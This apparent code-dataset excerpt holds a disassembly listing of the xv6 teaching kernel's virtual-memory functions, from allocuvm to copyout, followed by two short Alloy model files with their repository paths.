801084fa: 83 ec 38 sub $0x38,%esp
char *mem;
uint a;
if(newsz >= KERNBASE)
801084fd: 8b 45 10 mov 0x10(%ebp),%eax
80108500: 85 c0 test %eax,%eax
80108502: 79 0a jns 8010850e <allocuvm+0x17>
return 0;
80108504: b8 00 00 00 00 mov $0x0,%eax
80108509: e9 c1 00 00 00 jmp 801085cf <allocuvm+0xd8>
if(newsz < oldsz)
8010850e: 8b 45 10 mov 0x10(%ebp),%eax
80108511: 3b 45 0c cmp 0xc(%ebp),%eax
80108514: 73 08 jae 8010851e <allocuvm+0x27>
return oldsz;
80108516: 8b 45 0c mov 0xc(%ebp),%eax
80108519: e9 b1 00 00 00 jmp 801085cf <allocuvm+0xd8>
a = PGROUNDUP(oldsz);
8010851e: 8b 45 0c mov 0xc(%ebp),%eax
80108521: 05 ff 0f 00 00 add $0xfff,%eax
80108526: 25 00 f0 ff ff and $0xfffff000,%eax
8010852b: 89 45 f4 mov %eax,-0xc(%ebp)
for(; a < newsz; a += PGSIZE){
8010852e: e9 8d 00 00 00 jmp 801085c0 <allocuvm+0xc9>
mem = kalloc();
80108533: e8 b3 a5 ff ff call 80102aeb <kalloc>
80108538: 89 45 f0 mov %eax,-0x10(%ebp)
if(mem == 0){
8010853b: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
8010853f: 75 2c jne 8010856d <allocuvm+0x76>
cprintf("allocuvm out of memory\n");
80108541: c7 04 24 ad 8f 10 80 movl $0x80108fad,(%esp)
80108548: e8 53 7e ff ff call 801003a0 <cprintf>
deallocuvm(pgdir, newsz, oldsz);
8010854d: 8b 45 0c mov 0xc(%ebp),%eax
80108550: 89 44 24 08 mov %eax,0x8(%esp)
80108554: 8b 45 10 mov 0x10(%ebp),%eax
80108557: 89 44 24 04 mov %eax,0x4(%esp)
8010855b: 8b 45 08 mov 0x8(%ebp),%eax
8010855e: 89 04 24 mov %eax,(%esp)
80108561: e8 6b 00 00 00 call 801085d1 <deallocuvm>
return 0;
80108566: b8 00 00 00 00 mov $0x0,%eax
8010856b: eb 62 jmp 801085cf <allocuvm+0xd8>
}
memset(mem, 0, PGSIZE);
8010856d: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
80108574: 00
80108575: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
8010857c: 00
8010857d: 8b 45 f0 mov -0x10(%ebp),%eax
80108580: 89 04 24 mov %eax,(%esp)
80108583: e8 32 cf ff ff call 801054ba <memset>
mappages(pgdir, (char*)a, PGSIZE, v2p(mem), PTE_W|PTE_U);
80108588: 8b 45 f0 mov -0x10(%ebp),%eax
8010858b: 89 04 24 mov %eax,(%esp)
8010858e: e8 cc f5 ff ff call 80107b5f <v2p>
80108593: 8b 55 f4 mov -0xc(%ebp),%edx
80108596: c7 44 24 10 06 00 00 movl $0x6,0x10(%esp)
8010859d: 00
8010859e: 89 44 24 0c mov %eax,0xc(%esp)
801085a2: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
801085a9: 00
801085aa: 89 54 24 04 mov %edx,0x4(%esp)
801085ae: 8b 45 08 mov 0x8(%ebp),%eax
801085b1: 89 04 24 mov %eax,(%esp)
801085b4: e8 d8 fa ff ff call 80108091 <mappages>
return 0;
if(newsz < oldsz)
return oldsz;
a = PGROUNDUP(oldsz);
for(; a < newsz; a += PGSIZE){
801085b9: 81 45 f4 00 10 00 00 addl $0x1000,-0xc(%ebp)
801085c0: 8b 45 f4 mov -0xc(%ebp),%eax
801085c3: 3b 45 10 cmp 0x10(%ebp),%eax
801085c6: 0f 82 67 ff ff ff jb 80108533 <allocuvm+0x3c>
return 0;
}
memset(mem, 0, PGSIZE);
mappages(pgdir, (char*)a, PGSIZE, v2p(mem), PTE_W|PTE_U);
}
return newsz;
801085cc: 8b 45 10 mov 0x10(%ebp),%eax
}
801085cf: c9 leave
801085d0: c3 ret
801085d1 <deallocuvm>:
// newsz. oldsz and newsz need not be page-aligned, nor does newsz
// need to be less than oldsz. oldsz can be larger than the actual
// process size. Returns the new process size.
int
deallocuvm(pde_t *pgdir, uint oldsz, uint newsz)
{
801085d1: 55 push %ebp
801085d2: 89 e5 mov %esp,%ebp
801085d4: 83 ec 28 sub $0x28,%esp
pte_t *pte;
uint a, pa;
if(newsz >= oldsz)
801085d7: 8b 45 10 mov 0x10(%ebp),%eax
801085da: 3b 45 0c cmp 0xc(%ebp),%eax
801085dd: 72 08 jb 801085e7 <deallocuvm+0x16>
return oldsz;
801085df: 8b 45 0c mov 0xc(%ebp),%eax
801085e2: e9 a4 00 00 00 jmp 8010868b <deallocuvm+0xba>
a = PGROUNDUP(newsz);
801085e7: 8b 45 10 mov 0x10(%ebp),%eax
801085ea: 05 ff 0f 00 00 add $0xfff,%eax
801085ef: 25 00 f0 ff ff and $0xfffff000,%eax
801085f4: 89 45 f4 mov %eax,-0xc(%ebp)
for(; a < oldsz; a += PGSIZE){
801085f7: e9 80 00 00 00 jmp 8010867c <deallocuvm+0xab>
pte = walkpgdir(pgdir, (char*)a, 0);
801085fc: 8b 45 f4 mov -0xc(%ebp),%eax
801085ff: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
80108606: 00
80108607: 89 44 24 04 mov %eax,0x4(%esp)
8010860b: 8b 45 08 mov 0x8(%ebp),%eax
8010860e: 89 04 24 mov %eax,(%esp)
80108611: e8 d9 f9 ff ff call 80107fef <walkpgdir>
80108616: 89 45 f0 mov %eax,-0x10(%ebp)
if(!pte)
80108619: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
8010861d: 75 09 jne 80108628 <deallocuvm+0x57>
a += (NPTENTRIES - 1) * PGSIZE;
8010861f: 81 45 f4 00 f0 3f 00 addl $0x3ff000,-0xc(%ebp)
80108626: eb 4d jmp 80108675 <deallocuvm+0xa4>
else if((*pte & PTE_P) != 0){
80108628: 8b 45 f0 mov -0x10(%ebp),%eax
8010862b: 8b 00 mov (%eax),%eax
8010862d: 83 e0 01 and $0x1,%eax
80108630: 85 c0 test %eax,%eax
80108632: 74 41 je 80108675 <deallocuvm+0xa4>
pa = PTE_ADDR(*pte);
80108634: 8b 45 f0 mov -0x10(%ebp),%eax
80108637: 8b 00 mov (%eax),%eax
80108639: 25 00 f0 ff ff and $0xfffff000,%eax
8010863e: 89 45 ec mov %eax,-0x14(%ebp)
if(pa == 0)
80108641: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
80108645: 75 0c jne 80108653 <deallocuvm+0x82>
panic("kfree");
80108647: c7 04 24 c5 8f 10 80 movl $0x80108fc5,(%esp)
8010864e: e8 e7 7e ff ff call 8010053a <panic>
char *v = p2v(pa);
80108653: 8b 45 ec mov -0x14(%ebp),%eax
80108656: 89 04 24 mov %eax,(%esp)
80108659: e8 0e f5 ff ff call 80107b6c <p2v>
8010865e: 89 45 e8 mov %eax,-0x18(%ebp)
kfree(v);
80108661: 8b 45 e8 mov -0x18(%ebp),%eax
80108664: 89 04 24 mov %eax,(%esp)
80108667: e8 e6 a3 ff ff call 80102a52 <kfree>
*pte = 0;
8010866c: 8b 45 f0 mov -0x10(%ebp),%eax
8010866f: c7 00 00 00 00 00 movl $0x0,(%eax)
if(newsz >= oldsz)
return oldsz;
a = PGROUNDUP(newsz);
for(; a < oldsz; a += PGSIZE){
80108675: 81 45 f4 00 10 00 00 addl $0x1000,-0xc(%ebp)
8010867c: 8b 45 f4 mov -0xc(%ebp),%eax
8010867f: 3b 45 0c cmp 0xc(%ebp),%eax
80108682: 0f 82 74 ff ff ff jb 801085fc <deallocuvm+0x2b>
char *v = p2v(pa);
kfree(v);
*pte = 0;
}
}
return newsz;
80108688: 8b 45 10 mov 0x10(%ebp),%eax
}
8010868b: c9 leave
8010868c: c3 ret
8010868d <freevm>:
// Free a page table and all the physical memory pages
// in the user part.
void
freevm(pde_t *pgdir)
{
8010868d: 55 push %ebp
8010868e: 89 e5 mov %esp,%ebp
80108690: 83 ec 28 sub $0x28,%esp
uint i;
if(pgdir == 0)
80108693: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
80108697: 75 0c jne 801086a5 <freevm+0x18>
panic("freevm: no pgdir");
80108699: c7 04 24 cb 8f 10 80 movl $0x80108fcb,(%esp)
801086a0: e8 95 7e ff ff call 8010053a <panic>
deallocuvm(pgdir, KERNBASE, 0);
801086a5: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
801086ac: 00
801086ad: c7 44 24 04 00 00 00 movl $0x80000000,0x4(%esp)
801086b4: 80
801086b5: 8b 45 08 mov 0x8(%ebp),%eax
801086b8: 89 04 24 mov %eax,(%esp)
801086bb: e8 11 ff ff ff call 801085d1 <deallocuvm>
for(i = 0; i < NPDENTRIES; i++){
801086c0: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
801086c7: eb 48 jmp 80108711 <freevm+0x84>
if(pgdir[i] & PTE_P){
801086c9: 8b 45 f4 mov -0xc(%ebp),%eax
801086cc: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
801086d3: 8b 45 08 mov 0x8(%ebp),%eax
801086d6: 01 d0 add %edx,%eax
801086d8: 8b 00 mov (%eax),%eax
801086da: 83 e0 01 and $0x1,%eax
801086dd: 85 c0 test %eax,%eax
801086df: 74 2c je 8010870d <freevm+0x80>
char * v = p2v(PTE_ADDR(pgdir[i]));
801086e1: 8b 45 f4 mov -0xc(%ebp),%eax
801086e4: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
801086eb: 8b 45 08 mov 0x8(%ebp),%eax
801086ee: 01 d0 add %edx,%eax
801086f0: 8b 00 mov (%eax),%eax
801086f2: 25 00 f0 ff ff and $0xfffff000,%eax
801086f7: 89 04 24 mov %eax,(%esp)
801086fa: e8 6d f4 ff ff call 80107b6c <p2v>
801086ff: 89 45 f0 mov %eax,-0x10(%ebp)
kfree(v);
80108702: 8b 45 f0 mov -0x10(%ebp),%eax
80108705: 89 04 24 mov %eax,(%esp)
80108708: e8 45 a3 ff ff call 80102a52 <kfree>
uint i;
if(pgdir == 0)
panic("freevm: no pgdir");
deallocuvm(pgdir, KERNBASE, 0);
for(i = 0; i < NPDENTRIES; i++){
8010870d: 83 45 f4 01 addl $0x1,-0xc(%ebp)
80108711: 81 7d f4 ff 03 00 00 cmpl $0x3ff,-0xc(%ebp)
80108718: 76 af jbe 801086c9 <freevm+0x3c>
if(pgdir[i] & PTE_P){
char * v = p2v(PTE_ADDR(pgdir[i]));
kfree(v);
}
}
kfree((char*)pgdir);
8010871a: 8b 45 08 mov 0x8(%ebp),%eax
8010871d: 89 04 24 mov %eax,(%esp)
80108720: e8 2d a3 ff ff call 80102a52 <kfree>
}
80108725: c9 leave
80108726: c3 ret
80108727 <clearpteu>:
// Clear PTE_U on a page. Used to create an inaccessible
// page beneath the user stack.
void
clearpteu(pde_t *pgdir, char *uva)
{
80108727: 55 push %ebp
80108728: 89 e5 mov %esp,%ebp
8010872a: 83 ec 28 sub $0x28,%esp
pte_t *pte;
pte = walkpgdir(pgdir, uva, 0);
8010872d: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
80108734: 00
80108735: 8b 45 0c mov 0xc(%ebp),%eax
80108738: 89 44 24 04 mov %eax,0x4(%esp)
8010873c: 8b 45 08 mov 0x8(%ebp),%eax
8010873f: 89 04 24 mov %eax,(%esp)
80108742: e8 a8 f8 ff ff call 80107fef <walkpgdir>
80108747: 89 45 f4 mov %eax,-0xc(%ebp)
if(pte == 0)
8010874a: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
8010874e: 75 0c jne 8010875c <clearpteu+0x35>
panic("clearpteu");
80108750: c7 04 24 dc 8f 10 80 movl $0x80108fdc,(%esp)
80108757: e8 de 7d ff ff call 8010053a <panic>
*pte &= ~PTE_U;
8010875c: 8b 45 f4 mov -0xc(%ebp),%eax
8010875f: 8b 00 mov (%eax),%eax
80108761: 83 e0 fb and $0xfffffffb,%eax
80108764: 89 c2 mov %eax,%edx
80108766: 8b 45 f4 mov -0xc(%ebp),%eax
80108769: 89 10 mov %edx,(%eax)
}
8010876b: c9 leave
8010876c: c3 ret
8010876d <copyuvm>:
// Given a parent process's page table, create a copy
// of it for a child.
pde_t*
copyuvm(pde_t *pgdir, uint sz)
{
8010876d: 55 push %ebp
8010876e: 89 e5 mov %esp,%ebp
80108770: 53 push %ebx
80108771: 83 ec 44 sub $0x44,%esp
pde_t *d;
pte_t *pte;
uint pa, i, flags;
char *mem;
if((d = setupkvm()) == 0)
80108774: e8 b0 f9 ff ff call 80108129 <setupkvm>
80108779: 89 45 f0 mov %eax,-0x10(%ebp)
8010877c: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
80108780: 75 0a jne 8010878c <copyuvm+0x1f>
return 0;
80108782: b8 00 00 00 00 mov $0x0,%eax
80108787: e9 fd 00 00 00 jmp 80108889 <copyuvm+0x11c>
for(i = 0; i < sz; i += PGSIZE){
8010878c: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
80108793: e9 d0 00 00 00 jmp 80108868 <copyuvm+0xfb>
if((pte = walkpgdir(pgdir, (void *) i, 0)) == 0)
80108798: 8b 45 f4 mov -0xc(%ebp),%eax
8010879b: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
801087a2: 00
801087a3: 89 44 24 04 mov %eax,0x4(%esp)
801087a7: 8b 45 08 mov 0x8(%ebp),%eax
801087aa: 89 04 24 mov %eax,(%esp)
801087ad: e8 3d f8 ff ff call 80107fef <walkpgdir>
801087b2: 89 45 ec mov %eax,-0x14(%ebp)
801087b5: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
801087b9: 75 0c jne 801087c7 <copyuvm+0x5a>
panic("copyuvm: pte should exist");
801087bb: c7 04 24 e6 8f 10 80 movl $0x80108fe6,(%esp)
801087c2: e8 73 7d ff ff call 8010053a <panic>
if(!(*pte & PTE_P))
801087c7: 8b 45 ec mov -0x14(%ebp),%eax
801087ca: 8b 00 mov (%eax),%eax
801087cc: 83 e0 01 and $0x1,%eax
801087cf: 85 c0 test %eax,%eax
801087d1: 75 0c jne 801087df <copyuvm+0x72>
panic("copyuvm: page not present");
801087d3: c7 04 24 00 90 10 80 movl $0x80109000,(%esp)
801087da: e8 5b 7d ff ff call 8010053a <panic>
pa = PTE_ADDR(*pte);
801087df: 8b 45 ec mov -0x14(%ebp),%eax
801087e2: 8b 00 mov (%eax),%eax
801087e4: 25 00 f0 ff ff and $0xfffff000,%eax
801087e9: 89 45 e8 mov %eax,-0x18(%ebp)
flags = PTE_FLAGS(*pte);
801087ec: 8b 45 ec mov -0x14(%ebp),%eax
801087ef: 8b 00 mov (%eax),%eax
801087f1: 25 ff 0f 00 00 and $0xfff,%eax
801087f6: 89 45 e4 mov %eax,-0x1c(%ebp)
if((mem = kalloc()) == 0)
801087f9: e8 ed a2 ff ff call 80102aeb <kalloc>
801087fe: 89 45 e0 mov %eax,-0x20(%ebp)
80108801: 83 7d e0 00 cmpl $0x0,-0x20(%ebp)
80108805: 75 02 jne 80108809 <copyuvm+0x9c>
goto bad;
80108807: eb 70 jmp 80108879 <copyuvm+0x10c>
memmove(mem, (char*)p2v(pa), PGSIZE);
80108809: 8b 45 e8 mov -0x18(%ebp),%eax
8010880c: 89 04 24 mov %eax,(%esp)
8010880f: e8 58 f3 ff ff call 80107b6c <p2v>
80108814: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
8010881b: 00
8010881c: 89 44 24 04 mov %eax,0x4(%esp)
80108820: 8b 45 e0 mov -0x20(%ebp),%eax
80108823: 89 04 24 mov %eax,(%esp)
80108826: e8 5e cd ff ff call 80105589 <memmove>
if(mappages(d, (void*)i, PGSIZE, v2p(mem), flags) < 0)
8010882b: 8b 5d e4 mov -0x1c(%ebp),%ebx
8010882e: 8b 45 e0 mov -0x20(%ebp),%eax
80108831: 89 04 24 mov %eax,(%esp)
80108834: e8 26 f3 ff ff call 80107b5f <v2p>
80108839: 8b 55 f4 mov -0xc(%ebp),%edx
8010883c: 89 5c 24 10 mov %ebx,0x10(%esp)
80108840: 89 44 24 0c mov %eax,0xc(%esp)
80108844: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
8010884b: 00
8010884c: 89 54 24 04 mov %edx,0x4(%esp)
80108850: 8b 45 f0 mov -0x10(%ebp),%eax
80108853: 89 04 24 mov %eax,(%esp)
80108856: e8 36 f8 ff ff call 80108091 <mappages>
8010885b: 85 c0 test %eax,%eax
8010885d: 79 02 jns 80108861 <copyuvm+0xf4>
goto bad;
8010885f: eb 18 jmp 80108879 <copyuvm+0x10c>
uint pa, i, flags;
char *mem;
if((d = setupkvm()) == 0)
return 0;
for(i = 0; i < sz; i += PGSIZE){
80108861: 81 45 f4 00 10 00 00 addl $0x1000,-0xc(%ebp)
80108868: 8b 45 f4 mov -0xc(%ebp),%eax
8010886b: 3b 45 0c cmp 0xc(%ebp),%eax
8010886e: 0f 82 24 ff ff ff jb 80108798 <copyuvm+0x2b>
goto bad;
memmove(mem, (char*)p2v(pa), PGSIZE);
if(mappages(d, (void*)i, PGSIZE, v2p(mem), flags) < 0)
goto bad;
}
return d;
80108874: 8b 45 f0 mov -0x10(%ebp),%eax
80108877: eb 10 jmp 80108889 <copyuvm+0x11c>
bad:
freevm(d);
80108879: 8b 45 f0 mov -0x10(%ebp),%eax
8010887c: 89 04 24 mov %eax,(%esp)
8010887f: e8 09 fe ff ff call 8010868d <freevm>
return 0;
80108884: b8 00 00 00 00 mov $0x0,%eax
}
80108889: 83 c4 44 add $0x44,%esp
8010888c: 5b pop %ebx
8010888d: 5d pop %ebp
8010888e: c3 ret
8010888f <uva2ka>:
//PAGEBREAK!
// Map user virtual address to kernel address.
char*
uva2ka(pde_t *pgdir, char *uva)
{
8010888f: 55 push %ebp
80108890: 89 e5 mov %esp,%ebp
80108892: 83 ec 28 sub $0x28,%esp
pte_t *pte;
pte = walkpgdir(pgdir, uva, 0);
80108895: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
8010889c: 00
8010889d: 8b 45 0c mov 0xc(%ebp),%eax
801088a0: 89 44 24 04 mov %eax,0x4(%esp)
801088a4: 8b 45 08 mov 0x8(%ebp),%eax
801088a7: 89 04 24 mov %eax,(%esp)
801088aa: e8 40 f7 ff ff call 80107fef <walkpgdir>
801088af: 89 45 f4 mov %eax,-0xc(%ebp)
if((*pte & PTE_P) == 0)
801088b2: 8b 45 f4 mov -0xc(%ebp),%eax
801088b5: 8b 00 mov (%eax),%eax
801088b7: 83 e0 01 and $0x1,%eax
801088ba: 85 c0 test %eax,%eax
801088bc: 75 07 jne 801088c5 <uva2ka+0x36>
return 0;
801088be: b8 00 00 00 00 mov $0x0,%eax
801088c3: eb 25 jmp 801088ea <uva2ka+0x5b>
if((*pte & PTE_U) == 0)
801088c5: 8b 45 f4 mov -0xc(%ebp),%eax
801088c8: 8b 00 mov (%eax),%eax
801088ca: 83 e0 04 and $0x4,%eax
801088cd: 85 c0 test %eax,%eax
801088cf: 75 07 jne 801088d8 <uva2ka+0x49>
return 0;
801088d1: b8 00 00 00 00 mov $0x0,%eax
801088d6: eb 12 jmp 801088ea <uva2ka+0x5b>
return (char*)p2v(PTE_ADDR(*pte));
801088d8: 8b 45 f4 mov -0xc(%ebp),%eax
801088db: 8b 00 mov (%eax),%eax
801088dd: 25 00 f0 ff ff and $0xfffff000,%eax
801088e2: 89 04 24 mov %eax,(%esp)
801088e5: e8 82 f2 ff ff call 80107b6c <p2v>
}
801088ea: c9 leave
801088eb: c3 ret
801088ec <copyout>:
// Copy len bytes from p to user address va in page table pgdir.
// Most useful when pgdir is not the current page table.
// uva2ka ensures this only works for PTE_U pages.
int
copyout(pde_t *pgdir, uint va, void *p, uint len)
{
801088ec: 55 push %ebp
801088ed: 89 e5 mov %esp,%ebp
801088ef: 83 ec 28 sub $0x28,%esp
char *buf, *pa0;
uint n, va0;
buf = (char*)p;
801088f2: 8b 45 10 mov 0x10(%ebp),%eax
801088f5: 89 45 f4 mov %eax,-0xc(%ebp)
while(len > 0){
801088f8: e9 87 00 00 00 jmp 80108984 <copyout+0x98>
va0 = (uint)PGROUNDDOWN(va);
801088fd: 8b 45 0c mov 0xc(%ebp),%eax
80108900: 25 00 f0 ff ff and $0xfffff000,%eax
80108905: 89 45 ec mov %eax,-0x14(%ebp)
pa0 = uva2ka(pgdir, (char*)va0);
80108908: 8b 45 ec mov -0x14(%ebp),%eax
8010890b: 89 44 24 04 mov %eax,0x4(%esp)
8010890f: 8b 45 08 mov 0x8(%ebp),%eax
80108912: 89 04 24 mov %eax,(%esp)
80108915: e8 75 ff ff ff call 8010888f <uva2ka>
8010891a: 89 45 e8 mov %eax,-0x18(%ebp)
if(pa0 == 0)
8010891d: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
80108921: 75 07 jne 8010892a <copyout+0x3e>
return -1;
80108923: b8 ff ff ff ff mov $0xffffffff,%eax
80108928: eb 69 jmp 80108993 <copyout+0xa7>
n = PGSIZE - (va - va0);
8010892a: 8b 45 0c mov 0xc(%ebp),%eax
8010892d: 8b 55 ec mov -0x14(%ebp),%edx
80108930: 29 c2 sub %eax,%edx
80108932: 89 d0 mov %edx,%eax
80108934: 05 00 10 00 00 add $0x1000,%eax
80108939: 89 45 f0 mov %eax,-0x10(%ebp)
if(n > len)
8010893c: 8b 45 f0 mov -0x10(%ebp),%eax
8010893f: 3b 45 14 cmp 0x14(%ebp),%eax
80108942: 76 06 jbe 8010894a <copyout+0x5e>
n = len;
80108944: 8b 45 14 mov 0x14(%ebp),%eax
80108947: 89 45 f0 mov %eax,-0x10(%ebp)
memmove(pa0 + (va - va0), buf, n);
8010894a: 8b 45 ec mov -0x14(%ebp),%eax
8010894d: 8b 55 0c mov 0xc(%ebp),%edx
80108950: 29 c2 sub %eax,%edx
80108952: 8b 45 e8 mov -0x18(%ebp),%eax
80108955: 01 c2 add %eax,%edx
80108957: 8b 45 f0 mov -0x10(%ebp),%eax
8010895a: 89 44 24 08 mov %eax,0x8(%esp)
8010895e: 8b 45 f4 mov -0xc(%ebp),%eax
80108961: 89 44 24 04 mov %eax,0x4(%esp)
80108965: 89 14 24 mov %edx,(%esp)
80108968: e8 1c cc ff ff call 80105589 <memmove>
len -= n;
8010896d: 8b 45 f0 mov -0x10(%ebp),%eax
80108970: 29 45 14 sub %eax,0x14(%ebp)
buf += n;
80108973: 8b 45 f0 mov -0x10(%ebp),%eax
80108976: 01 45 f4 add %eax,-0xc(%ebp)
va = va0 + PGSIZE;
80108979: 8b 45 ec mov -0x14(%ebp),%eax
8010897c: 05 00 10 00 00 add $0x1000,%eax
80108981: 89 45 0c mov %eax,0xc(%ebp)
{
char *buf, *pa0;
uint n, va0;
buf = (char*)p;
while(len > 0){
80108984: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
80108988: 0f 85 6f ff ff ff jne 801088fd <copyout+0x11>
memmove(pa0 + (va - va0), buf, n);
len -= n;
buf += n;
va = va0 + PGSIZE;
}
return 0;
8010898e: b8 00 00 00 00 mov $0x0,%eax
}
80108993: c9 leave
80108994: c3 ret
|
models/tests/test14.als | transclosure/Amalgam | 4 | 3269 | <reponame>transclosure/Amalgam<filename>models/tests/test14.als
module tests/test // Bugpost by g.a.c.rijnders AT gmail.com
sig Foo {
Foo: one Foo
}
run {} expect 1
|
alloy4fun_models/trashltl/models/16/uaonLsn4PrcdpY8hC.als | Kaixi26/org.alloytools.alloy | 0 | 2639 | open main
pred iduaonLsn4PrcdpY8hC_prop17 {
all f: File |always ( f in Trash implies File' = File - f)
}
pred __repair { iduaonLsn4PrcdpY8hC_prop17 }
check __repair { iduaonLsn4PrcdpY8hC_prop17 <=> prop17o } |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.